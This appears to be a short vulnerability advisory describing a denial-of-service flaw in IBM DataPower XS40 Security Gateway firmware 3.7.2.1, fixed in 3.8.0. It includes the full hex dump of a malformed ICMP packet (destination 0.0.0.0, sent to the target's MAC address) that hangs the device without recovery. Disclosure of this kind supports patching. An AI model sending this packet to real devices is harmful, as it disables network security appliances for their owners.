It appears it is possible to disable the IBM DataPower XS40 Security Gateway device by sending a malformed packet 

to the network interface. The device will hang up itself without being able to recover from it (no auto-reboot).

Tested vulnerable firmware is 3.7.2.1
Issue fixed according to vendor in 3.8.0 and better 


To trigger the effect it is necessary to have IP.destination 0.0.0.0 in the packet, so routing can only take 

place on the same subnet by inputting the MAC-adress of the targeted device. Like this ICMP-packet, where 

00.14.5e.a1.b2.c3 is the target MAC-adress;

00 14 5e a1 b2 c3 00 11 25 82 7b 02 08 00 45 00 
00 50 4b 94 00 00 ff 01 5e f1 ac 12 65 15 00 00 
00 00 03 01 06 f6 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 
00 20 ed 58 00 00 ff 11 a9 d4 ac 12 65 15 ac 12 
65 65 01 00 00 00 29 00 cd 00 00 08 00 00


After sending this (sometimes it's necessary to sent it multiple times), the device will hang and won't recover by itself.

Vendor's comment on this: http://www-01.ibm.com/support/docview.wss?rs=2362&uid=swg1IC61364